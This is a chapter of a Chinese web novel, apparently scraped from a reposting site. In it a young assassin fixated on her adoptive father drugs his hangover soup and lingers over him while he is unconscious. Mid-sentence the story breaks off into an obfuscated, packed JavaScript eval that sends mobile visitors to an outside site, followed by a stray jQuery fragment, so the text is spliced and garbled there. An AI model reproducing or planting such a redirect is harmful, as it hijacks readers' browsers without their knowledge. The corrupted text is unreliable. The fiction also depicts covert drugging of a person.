257. (7)越界

作品:《请你马上成精

    “捡起来,继续。”


    低沉的声音来自面前冷峻的男人,是渡鸦的首领,卓首领。


    渡鸦暗堂,秋洄趴在地上,手背和脸上皆是被打出的细长红印,有一道红印甚至跨越了眼,红肿无比。


    她擦了擦脸,捡起木剑,用一只眼面对首领。


    “你义父曾帮过我,他的嘱咐我会遵守,所以,我不会对你留情。”


    首领不会留情,义父也不会留情,她更不能对自己留情,所以哪怕她是渡鸦内最年幼的,她也不会有任何特权。


    要做杀手的话,怎能有特权呢?


    她点头,举起木剑就朝首领劈去。


    砰


    她被踹飞了无数次,黑衣成了脏的灰,额头磕在地面留下一滩鲜红,木剑每天都在断裂,身上看得见的看不见的都是伤痕,可她不怨,她答应了义父,她要变强,只有变强了才能替义父报仇。


    今天是手臂和后背,她对着镜子艰难擦药,明天是大腿和膝盖,她一坐下便会竭力,再也站不起。


    站不起也要站起,义父说了,这是对她的磨砺。


    摸着腹部那道险些要了她的命的伤疤,秋洄看着镜子里的自己,脑中疯魔般回想着义父送她膏药的神情。


    那是关心吧?


    难得的关心,温柔的关心。


    义父会送给她膏药,就说明他知道,他知道她身上有伤疤,知道伤疤就会知道她的努力她的付出,知道她受这一切都是为了他。


    有了关心就说明义父眼里有她了。


    取了两指软膏,她在自己的伤疤上慢慢涂抹,融化,幻想着义父的气味,幻想着是义父在给她涂药......幻想他会笑骂她不当心,会担忧她出危险任务,还会后悔他自己不闻不问......


    她忽然很难受,难受到痛苦喘气,拧眉,无力。


    只是幻想,这一切都不曾发生过,义父只会后退,只会冷冰冰给她一个背影,然后叫她走,叫她出去。


    她只能忍,只能恨,只能像个疯子一样制造机会去接触义父。


    镜子里的伤疤就是机会,她要去给义父看,让他知道她的努力,没错,她让去展示给他看。


    可次日她没见到义父,他入了宫便没回来,也没捎话回来。


    化作原形趴在屋顶,她宛若镇屋兽警惕观望四周,耳朵竖起,仔细聆听风中的声音,一动不动等着沈喻回来。


    她怕他又会消失。


    “......东家,您回来了......”


    “嗯,去烧些水来。”


    耳朵一抖,是义父的声音。


    她站起,幽深的双眼中倒映出沈喻虚浮的脚步,他的脸和脖颈有些红,似乎是喝了酒。


    他挥走了下人,直直朝着自己的寝居去。


    秋洄从屋顶跳下,落地化形成人,她上前想要搀扶:“义父,您去哪了?您和谁在一块喝成这样?”


    可手还没碰到他的手臂便被他挥开,好似她是什么洪水猛兽让他避之不及。


    她愣了一步,听得他转过头轻咳一声,道:“无事,你回去吧。”


    “义父......”


    她追上去两步,可他没有回头,亦没有停顿。


    不问她为什么还不睡,也没解释自己为什么这么晚归,他一步也没有停顿,就这么无视她的关心和搀扶,直直回他自己的寝居。


    秋洄紧紧盯着他的背影,月牙形指甲印深深嵌进掌心,她心里的怨恨又一次增长。


    反反复复,反反复复漠视她的关心,漠视她的存在,明明昨天都还给她送了礼物,为什么今天又这样?


    捏紧拳头,她好想砍好想砸,更想冲进去问问义父,为什么要这样无视她?


    她恨他,恨他,恨死他了!


    怒而转身,她用力踩着步子,企图撼动地面,可对大地来说,她只是小小一个,她只有被大地包容的份,义父不会看见她的愤怒,只会当她幼稚。


    转过转角,余光里有侍女端着汤水,是醒酒汤。


    她用力瞪着侍女的身影,逐渐显化了犬齿。


    沈喻简单沐浴后换了一套干净衣裳,他今日出宫后没有回府,而是去了青楼。


    青楼,是男男女女三教九流之人的聚集地,亦是情报混杂之地,他这样的人去了那做不了什么,却能听到许多风言风语。


    当初李氏受到牵连也面临问罪,是忠勇将军及时切断两家婚约,又留下一对儿女自请离都镇守边关,这才让李氏脱身于那场祸患,而他,从地狱里爬出来的他只能终日买醉,混混度日。


    但幸好,他在青楼后巷遇到了黄总管,求他救了自己一命。


    无声盯着地面,酒意朦胧了眼,他又回想起了被关在牢中的屈辱。


    时至今日,已经很少有人再记得他当初的身份了,这样也好,没人记得他,也就没人知晓他心中恨意,更不会知晓他恨的,是那两个高高在上,玩弄权力害死他全家的人。


    捏紧了膝盖,他绷紧了脸盯着地面的纹路出神。


    忽然,有人敲门。


    他回过神,放松了身体,问:“谁?”


    “义父,我来给您送醒酒汤。”


    这丫头怎么又来了,他默默叹了口气,道:“进来。”


    门轻轻推开,秋洄带进来一丝夜风,很快又将门关上。


    “义父,您今天去哪了?身上怎么有脂粉味?”


    他刚端起醒酒汤,听到秋洄的问题顿了一顿,他没想到自己换过衣裳了还有青楼的味道。


    略过了这个问题,他不想让她知晓自己的行踪,更不想让她知晓自己去过那种地方,便干脆沉默着饮下醒酒汤。


    “好了,出去吧。”


    但秋洄没有走,她站在他面前眼睛却注视着他刚放下的碗。


    “义父,今天杞嬷嬷夸我了。”


    他不知她提此是何意味,但他现在很想休息,也不愿和她交流太多,便敷衍道:“好,我知道了。早点休息吧。”


    她忽然抬眼,不知是不是他的错觉,昏暗的光线下,秋洄不在光下的侧脸给他一种阴恻恻的感觉。


    但仅是一瞬,那双眼又弯了起来:“义父是在关心我吗?”


    她似乎弯了腰,和他靠近了一些。


    沈喻感到一阵晕眩不自在,他站起身,揉了揉眼催促道:“是,快去休息吧,义父也要休息了。”


    “义父你今天是不是喝了很多酒?”


    “嗯......”


    “是和谁一起喝的?”


    “问那么多做什么......”


    他大概真的酒意上头了,一股气冲向鼻尖让他浑身发热。


    脚步一虚,沈喻直直往前倒下。


    他没有倒在地面,秋洄不会让他倒下的,她扶住他了。


    外袍滑落在地,抓着义父的双臂,让义父靠在她肩上,秋洄愣了一瞬,而后整个人亢奋到发抖。


    轻轻捏了捏,是义父的手臂,她已经很多年很多年没有碰过了,微微一嗅,是酒气,酒气之下是义父的香味。


    文旦,她已经知道了,义父熏的香是文旦的气味。


    怪不得闻着像柑橘。


    “义父?”


    他没有回答,他醉了,醉得不省人事。


    醉了好,醉了他就什么都不知道,也不会推开她,更不会拒绝她的关心和照料,他们还能像曾经那样好,义父


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802851|155540||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还是她的义父。


    “义父......”


    她忍不住抱紧了沈喻,开口,声音是她自己都没想到的颤抖,犬齿暴露了她的激动,手更是麻木到发抖,她简直想哭,不论是难过还是欣喜,总之她很想哭。


    “小洄!小洄快来!”


    “哎,在呢......”


    秋洄趴在桌子上睡觉,沈喻一回来就将她吵醒了,入内便是一身酒气。


    她搀扶着摇摇晃晃的人,皱着脸嫌弃道:“义父你好臭啊......”


    “瞎说什么呢!这可是百年佳酿!啊哈哈哈......”


    沈喻从腰间勾出一钱袋,朝她掂量掂量,语气炫耀:“怎么样?你义父我厉害吧?这可嗝!这可都是我赢来的!”


    秋洄撇了撇嘴,但还是附和道:“厉害厉害,义父你最厉害了......下去吧你。”


    她搀扶着沈喻回屋,然后一松手将他扔到了床榻上。


    “没良心的小狐狸......这可是钱呐,好多好多钱......”


    沈喻一身酒味,人也不清醒,头磕到了床架也只是嗷了一声,翻了个身便开始呼呼大睡。


    “哎呀你都没有洗澡呢!衣裳也没换!不许睡!”


    秋洄才不想伺候他,爬上去使劲推他的胳膊,可沈喻朝她挥挥手,又翻了个身,压根不想动弹。


    她没了脾气又拉不动人,只能嘟囔着不情不愿给他打了水来,拧干净帕子便呼上了他的脸。


    “哎呀,小狐狸最厉害了......可真能干啊......义父明天带你去镇上吃烤鸡......”


    “呸!就会收买我!”


    “最棒了,你最最最棒了......”


    秋洄洗了洗帕子,给沈喻擦了手又擦了脸,像曾经那样,她没有变,变的人,是沈喻。


    看着昏睡中的人,她终于可以大胆握住他的手而不用担心被拒绝,就像高大的他会牵着她的手,带她走遍整个西北。


    “义父,你的不痛快,你心里的苦和恨都可以告诉我,我可以替你分担,你想做什么我都会帮你的......你不要看不见我,好不好?”


    “就算你不想夸我,你骂骂我也好,不要对我那么冷漠,好不好?”


    “义父......”


    昏睡着的人两颊还是红的,他眉目舒展,呼吸平稳,安详无比。


    沈喻不会听见,亦不会感受到,否则他一定会甩开她的手,让她滚出去。


    是她越界了,是她给沈喻下了药,她知道这样不对,可她只想和靠近义父,也只有这样她才能在义父身边待得久一些。


    沈喻无法回答她的话,她便低头嗅着他手掌中的香味。


    文旦的清香,冷冽又温和,难受又欣喜,她仿佛中了毒,毒药在蚕食着她的理智,她又低下头去嗅沈喻身上的味道。


    嗅来嗅去总归是酒味和香味,可她就是不满足,还想嗅到些别的。


    谁的?她自己的吗?


    义父怎么会在身上留下她的气味?


    她嗅到沈喻脸上,鼻尖碰到了他的侧脸,她猛然一顿,紧紧盯着他的眼。


    他会醒过来吗?醒过来发现她的所作所为,会发怒吗?


    没有,他没有醒,他依然安睡。


    她盯着他的脸,盯着他的眼,心中的怨恨和痛苦共同增长,她不敢做别的了,她只能咬着自己,用尖锐的犬齿狠狠咬着自己的唇。


    好想留下什么,她好想在义父身上留下什么,好想让夜晚就停留在这一刻,好想,让义父只能看见她,让义父只能属于她。


    两指放在沈喻颈间脉搏,秋洄默默数着他生命的跳动。